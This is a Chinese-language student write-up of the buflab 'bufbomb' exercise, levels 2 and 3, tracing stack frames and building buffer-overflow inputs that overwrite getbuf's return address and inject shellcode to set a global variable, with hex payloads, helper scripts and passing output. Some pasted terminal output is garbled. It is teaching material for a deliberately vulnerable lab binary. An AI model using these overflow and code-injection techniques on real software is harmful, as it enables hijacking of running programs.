8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test%ebp
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048d70函数getbuf的返回地址，也就是当函数getbuf执行完毕之后，将返回到test函数中的哪个地方去。可以通过命令"x 0x556834b4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的test函数部分节选的代码：
8048d6b: e8 51 04 00 00 call 80491c1
8048d70: 89 c3 mov %eax,%ebx		test%esp

​ 而在函数getbuf正常的执行完自己的"ret"这条汇编指令后的一瞬间，因为ret会将函数getbuf的返回地址弹出栈，所以这时的函数栈帧为：

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test%ebp
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test%esp

​ 假如此时成功跳到了函数fizz去执行代码，而不是函数test中调用getbuf的下一行，那么执行完成函数fizz的前三行的结果，应该是：

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x556834d0函数test的%ebp值，也就是旧%ebp值fizz%ebp
0x556834b0fizz
0x556834acfizz%esp

08048c06 :
8048c06: 55 push %ebp
8048c07: 89 e5 mov %esp,%ebp
8048c09: 83 ec 08 sub $0x8,%esp

当执行函数fizz的第四行" 8048c0c: 8b 45 08 mov 0x8(%ebp),%eax"时，根据分析可知，这里的0x8(%ebp)，即为fizz拿到的第一个参数。而%ebp+0x8=0x556834bc，所以根据这个条件，我们可以得知，我们的任务可以被进一步细化为：

  1. 0x556834b4这个内存地址处存放的值应为0x8048c06；
  2. 0x556834bc这个内存地址处存放的值应为根据我们的学号计算出来的cookie值。

而根据2021301381计算出的cookie值为0x666b63a4，所以：

  1. 0x556834b4这个内存地址处存放的值应为0x8048c06；
  2. 0x556834bc这个内存地址处存放的值应为0x666b63a4。

因此，当getbuf函数执行完毕Gets函数之后，函数栈帧应该为：

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bc0x666b63a4被修改之后，将提供给函数fizz作为fizz能拿到的第一个入口参数。test
0x556834b80x00000000test
0x556834b40x8048c06被修改之后，函数getbuf的返回地址.test
0x556834b00x00000000getbuf%ebp
0x556834ac0x00000000getbuf
0x556834a80x00000000getbuf
… …… …getbuf
0x556834880x00000000函数getbuf调用函数Gets，函数Gets读取我们输入的字符串之后返回函数getbuf的结果。getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

​ 那么，我们输入的这串很长很长的字符串的ASCII码值应该长什么样子呢？应该长这个样子：00 00 … … 06 8c 04 08 00 00 00 00 a4 63 6b 66。与第一关相同，开头有44个00。使用下面的脚本生成44个00：

#!/bin/bash
output_file="output2.txt"
for ((i=0; i<44; i++))
do
    echo -n "00 " >> $output_file
done

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat bash2.sh
#!/bin/bash
output_file=“output2.txt”
for ((i=0; i<44; i++))
do
echo -n "00 " >> o u t p u t f i l e d o n e n p u s e c @ u b u n t u :   / D e s k t o p / 3 / b u f l a b 2021301381 output_file done npusec@ubuntu:~/Desktop/3/buflab2021301381 outputf​iledonenpusec@ubuntu: /Desktop/3/buflab2021301381 chmod u+x bash2.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bash2.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output2.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 npusec@ubuntu:~/Desktop/3/buflab2021301381$

接着再在output2.txt文件的最后面，添加"06 8c 04 08 00 00 00 00 a4 63 6b 66"，注意’06’的前面没有空格，因为44个0x00中，每个00后面都已经有了空格！

接着使用hex2raw文件，将我们的output2.txt文件进行转换，生成一个二进制文件output2.bin。生成二进制文件之后，使用命令"./bufbomb < output2.bin -u 2021301381"，即可成功通过第二关！

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./hex2raw < output2.txt > output2.bin
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output2.bin
�ckf
npusec@ubuntu:~/Desktop/3/buflab2021301381$ xxd output2.bin
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000020: 0000 0000 0000 0000 0000 0000 068c 0408 …
00000030: 0000 0000 a463 6b66 0a …ckf.
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb < output2.bin -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:Fizz!: You called fizz(0x666b63a4)
VALID
NICE JOB!
npusec@ubuntu:~/Desktop/3/buflab2021301381$

6. 第三关

​ 第三关，我们的任务是，让bufbomb这个可执行文件在执行完毕函数getbuf并且准备返回时，并不是返回到函数test，而是返回到bang函数，也就是执行完函数getbuff之后，本应返回到函数test中的"8048d6b: e8 51 04 00 00 call 80491c1 “的下一行代码”8048d70: 89 c3 mov %eax,%ebx"中，结果返回到了函数bang的第一行代码” 08048c55 : "。而在这之前，还得要将名为global_value的全局变量的值设置为我们的cookie值。根据上述分析，得知我们的任务可以被拆分为两点：

  1. 函数getbuf的返回地址需要被修改为函数bang的第一行汇编代码；
  2. 函数getbuf执行结束，开始执行函数bang的第一行汇编代码时，全局变量global_value的值应为我们的cookie值。

因为函数getbuf的返回地址被保存在0x556834b4，函数bang的第一行汇编代码的地址为08048c55；所以，我们的任务可以进一步认为是：

  1. 0x556834b4这个内存地址处的值应为08048c55；
  2. 函数getbuf执行结束，开始执行函数bang的第一行汇编代码时，全局变量global_value的值应为我们的cookie值。

而通过查看函数bang的汇编代码，发现有两行：

8048c5b: a1 38 d1 04 08 mov 0x804d138,%eax
8048c60: 3b 05 40 d1 04 08 cmp 0x804d140,%eax

并且查看0x804d138与0x804d140这两个内存地址中的值：

pwndbg> x 0x804d138
0x804d138 <global_value>: 0x00000000
pwndbg> x 0x804d140
0x804d140 : 0x00000000
pwndbg>

注意！！！不要想当然的认为，0x804d138和0x804d140之间只差了2，那是想当然的认为是十进制了！！！事实上这两个地址之间，还有0x804d139, 0x804d13a, 0x804d13b, 0x804d13c, 0x804d13d, 0x804d13e, 0x804d13f！！！

所以我们可以确定，名为global_value的全局变量被保存在内存地址为0x804d138的这块内存当中。因此我们的任务可以进一步细化为：

  1. 0x556834b4这个内存地址处的值应为08048c55；
  2. 0x804d138这个内存地址处的值应为我们的cookie值。

08048c55 :
8048c55: 55 push %ebp
8048c56: 89 e5 mov %esp,%ebp
8048c58: 83 ec 08 sub $0x8,%esp
8048c5b: a1 38 d1 04 08 mov 0x804d138,%eax
8048c60: 3b 05 40 d1 04 08 cmp 0x804d140,%eax
8048c66: 75 21 jne 8048c89 <bang+0x34>
8048c68: 83 ec 04 sub $0x4,%esp
8048c6b: 50 push %eax
8048c6c: 68 a8 a1 04 08 push $0x804a1a8
8048c71: 6a 01 push $0x1
8048c73: e8 f8 fc ff ff call 8048970 __printf_chk@plt
8048c78: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048c7f: e8 5d 06 00 00 call 80492e1
8048c84: 83 c4 10 add $0x10,%esp
8048c87: eb 13 jmp 8048c9c <bang+0x47>
8048c89: 83 ec 04 sub $0x4,%esp
8048c8c: 50 push %eax
8048c8d: 68 a8 a3 04 08 push $0x804a3a8
8048c92: 6a 01 push $0x1
8048c94: e8 d7 fc ff ff call 8048970 __printf_chk@plt
8048c99: 83 c4 10 add $0x10,%esp
8048c9c: 83 ec 0c sub $0xc,%esp
8048c9f: 6a 00 push $0x0
8048ca1: e8 0a fc ff ff call 80488b0 exit@plt

​ 这两个任务中的第一个任务比较简单，可是第二个任务就比较复杂了。我们该怎么完成第二个任务呢？考虑到在函数getbuf执行自己的"ret"代码之前，程序流都在0x0804开头的内存中的低地址部分。因此在函数getbuf执行自己的"ret"代码之前，我们是没有任何办法使用像前两关的方法，来修改0x804d138这个内存地址中的值的。而在函数getbuf正常的执行自己的"ret"代码之前时，函数栈帧如下图所示：

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test%ebp
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048d70函数getbuf的返回地址，也就是当函数getbuf执行完毕之后，将返回到test函数中的哪个地方去。可以通过命令"x 0x556834b4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的test函数部分节选的代码：
8048d6b: e8 51 04 00 00 call 80491c1
8048d70: 89 c3 mov %eax,%ebx		test%esp

​ 而在函数getbuf正常的执行完自己的"ret"这条汇编指令后的一瞬间，因为ret会将函数getbuf的返回地址弹出栈，所以这时函数test的栈帧顶会少一块，并且程序流被转向了0x08048d70这个内存地址中的指令。

​ 那么思路来了，我们可不可以，让函数getbuf执行完自己的ret这条汇编指令之后，让程序流转向0x5568开头的内存地址中的指令呢？当程序流在0x5568开头的内存地址中的指令短暂执行过一段时间之后，再流回到0x0804开头的内存地址中的指令。也就是说，我们可以故意写一串字符串，使得当getbuf函数执行完毕Gets函数时，函数栈帧如下图所示：

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test
0x556834cc0x08048c55test
0x556834c8@@@@@@因为每一条汇编指令的长度都不一样，有5字节长、4字节长、3字节长、2字节长，甚至还有1字节长，所以这就导致下面四条汇编指令的长度之和不一定为4的倍数，所以将下面四条汇编指令的十六进制表示形式放在一起之后，不一定能刚刚好装得下。对于这道题，下面四条汇编指令的十六进制表示形式共有17个字节，多出来了一个字节（被存放在0x556834c8），所以最终用三个"90"来填充0x556834c9，0x556834ca，0x556834cb这三个内存地址。这样子%esp指向的内存的地址才能是一个4的倍数，简化了操作。test
0x556834c4@@@@@@汇编指令"ret"的十六进制形式。test
0x556834c0@@@@@@汇编指令"mov $0x556834cc,%esp"test
0x556834bc@@@@@@汇编指令"mov %edx,0x804d138"的十六进制形式。test
0x556834b8@@@@@@汇编指令"mov $0x666b63a4,%edx"的十六进制形式。test
0x556834b40x556834b8被修改之后，函数getbuf的返回地址，在这里将返回地址改成了0x556834b8，就是让程序流短暂调到这里，然后再返回到正常的部分。test
0x556834b00x00000000getbuf%ebp
0x556834ac0x00000000getbuf
0x556834a80x00000000getbuf
… …… …getbuf
0x556834880x00000000函数getbuf调用函数Gets，函数Gets读取我们输入的字符串之后返回函数getbuf的结果。getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

​ 这样子，在函数getbuf执行完毕准备执行ret指令返回前的一瞬间，函数栈帧为：

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test%ebp
0x556834cc0x08048c55test
0x556834c8@@@@@@因为每一条汇编指令的长度都不一样，有5字节长、4字节长、3字节长、2字节长，甚至还有1字节长，所以这就导致下面四条汇编指令的长度之和不一定为4的倍数，所以将下面四条汇编指令的十六进制表示形式放在一起之后，不一定能刚刚好装得下。对于这道题，下面四条汇编指令的十六进制表示形式共有17个字节，多出来了一个字节（被存放在0x556834c8），所以最终用三个"90"来填充0x556834c9，0x556834ca，0x556834cb这三个内存地址。这样子%esp指向的内存的地址才能是一个4的倍数，简化了操作。test
0x556834c4@@@@@@汇编指令"ret"的十六进制形式。test
0x556834c0@@@@@@汇编指令"mov $0x556834cc,%esp"的十六进制形式。test
0x556834bc@@@@@@汇编指令"mov %edx,0x804d138"的十六进制形式。test
0x556834b8@@@@@@汇编指令"mov $0x666b63a4,%edx"的十六进制形式。test
0x556834b40x556834b8被修改之后，函数getbuf的返回地址，在这里将返回地址改成了0x556834b8，就是让程序流短暂调到这里，然后再返回到正常的部分。test%esp

​ 当函数getbuf执行自己的ret指令时，ret指令将当前%esp所指的内容弹到%eip中（%eip保存着下一条指令的地址），接着%esp减去4。这样子程序流即被短暂的调到了0x556834b8这个内存地址所保存的指令当中。函数栈帧为：

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test%ebp
0x556834cc0x08048c55test
0x556834c8@@@@@@因为每一条汇编指令的长度都不一样，有5字节长、4字节长、3字节长、2字节长，甚至还有1字节长，所以这就导致下面四条汇编指令的长度之和不一定为4的倍数，所以将下面四条汇编指令的十六进制表示形式放在一起之后，不一定能刚刚好装得下。对于这道题，下面四条汇编指令的十六进制表示形式共有17个字节，多出来了一个字节（被存放在0x556834c8），所以最终用三个"90"来填充0x556834c9，0x556834ca，0x556834cb这三个内存地址。这样子%esp指向的内存的地址才能是一个4的倍数，简化了操作。test
0x556834c4@@@@@@汇编指令"ret"的十六进制形式。test
0x556834c0@@@@@@汇编指令"mov $0x556834cc,%esp"的十六进制形式。test
0x556834bc@@@@@@汇编指令"mov %edx,0x804d138"的十六进制形式。test
0x556834b8@@@@@@汇编指令"mov $0x666b63a4,%edx"的十六进制形式。test%esp

​ 接着顺序执行指令，先mov $0x666b63a4,%edx，将0x666b63a4这个随机数，同时也是我们的cookie值放入寄存器%edx当中；然后mov %edx,0x804d138，将我们的cookie值放入内存地址0x804d138中，也就是让名为global_value的全局变量的值为我们的cookie值。然后mov $0x556834cc,%esp，让%esp指向0x556834cc这个内存地址，这样子再执行ret指令使得程序流返回到0x08048c55这个函数bang的第一行代码时，ret会将0x556834cc中的内容0x08048c55弹到%eip，而不是将0x556834b8中的内容@@@@@@弹到%eip。

​ 那么，我们输入的这串很长很长的字符串的ASCII码值应该长什么样子呢？应该长这个样子：00 00 … … b8 34 68 55 @@ @@ @@ … @@@ 55 8c 04 08。与第一关相同，开头有44个00。使用下面的脚本生成44个00：

#!/bin/bash
output_file="output3.txt"
for ((i=0; i<44; i++))
do
    echo -n "00 " >> $output_file
done

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat bash3.sh
#!/bin/bash
output_file=“output3.txt”
for ((i=0; i<44; i++))
do
echo -n "00 " >> o u t p u t f i l e d o n e n p u s e c @ u b u n t u :   / D e s k t o p / 3 / b u f l a b 2021301381 output_file done npusec@ubuntu:~/Desktop/3/buflab2021301381 outputf​iledonenpusec@ubuntu: /Desktop/3/buflab2021301381 chmod u+x bash3.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bash3.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output3.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 npusec@ubuntu:~/Desktop/3/buflab2021301381$

接着再在output3.txt文件的最后面，添加"b8 34 68 55"，注意’b8’的前面没有空格，因为44个0x00中，每个00后面都已经有了空格！

此外，我们还需要获取那四条汇编指令对应的十六进制形式（这样说有点不准确）。该如何获取呢？

npusec@ubuntu:~/Desktop/3/buflab2021301381$ gcc -m32 -c -o asm.o asm.s
npusec@ubuntu:~/Desktop/3/buflab2021301381$ objdump -d asm.o > asm.txt
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat asm.txt

asm.o： 文件格式 elf32-i386

Disassembly of section .text:

00000000 <.text>:
0: ba a4 63 6b 66 mov $0x666b63a4,%edx
5: 89 15 38 d1 04 08 mov %edx,0x804d138
b: bc cc 34 68 55 mov 0 x 556834 c c , 10 : c 3 r e t n p u s e c @ u b u n t u :   / D e s k t o p / 3 / b u f l a b 2021301381 0x556834cc,%esp 10: c3 ret npusec@ubuntu:~/Desktop/3/buflab2021301381 0x556834cc,10:c3retnpusec@ubuntu: /Desktop/3/buflab2021301381

即这四条汇编指令对应的十六进制形式为：

ba a4 63 6b 66 89 15 38 d1 04 08 bc cc 34 68 55 c3

注意这里不需要对其进行翻转！！！

​ 所以我们输入的这串很长很长的字符串的ASCII码值长这个样子：00 00 … … （44个00）b8 34 68 55 ba a4 63 6b 66 89 15 38 d1 04 08 bc cc 34 68 55 c3 90 90 90 55 8c 04 08

因此output3.txt文件的内容为：

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output3.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 34 68 55 ba a4 63 6b 66 89 15 38 d1 04 08 bc cc 34 68 55 c3 90 90 90 55 8c 04 08
npusec@ubuntu:~/Desktop/3/buflab2021301381$

因此，在getbuf函数调用完Gets函数之后返回getbuf函数的一瞬间，函数栈帧为：

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test
0x556834cc0x08048c55test
0x556834c80x909090c3因为每一条汇编指令的长度都不一样，有5字节长、4字节长、3字节长、2字节长，甚至还有1字节长，所以这就导致下面四条汇编指令的长度之和不一定为4的倍数，所以将下面四条汇编指令的十六进制表示形式放在一起之后，不一定能刚刚好装得下。对于这道题，下面四条汇编指令的十六进制表示形式共有17个字节，多出来了一个字节（被存放在0x556834c8），所以最终用三个"90"来填充0x556834c9，0x556834ca，0x556834cb这三个内存地址。这样子%esp指向的内存的地址才能是一个4的倍数，简化了操作。test
0x556834c40x556834cc汇编指令"ret"的十六进制形式。test
0x556834c00xbc0804d1汇编指令"mov $0x556834cc,%esp"test
0x556834bc0x38158966汇编指令"mov %edx,0x804d138"的十六进制形式。test
0x556834b80x6b63a4ba汇编指令"mov $0x666b63a4,%edx"的十六进制形式。test
0x556834b40x556834b8被修改之后，函数getbuf的返回地址，在这里将返回地址改成了0x556834b8，就是让程序流短暂调到这里，然后再返回到正常的部分。test
0x556834b00x00000000getbuf%ebp
0x556834ac0x00000000getbuf
0x556834a80x00000000getbuf
… …… …getbuf
0x556834880x00000000函数getbuf调用函数Gets，函数Gets读取我们输入的字符串之后返回函数getbuf的结果。getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

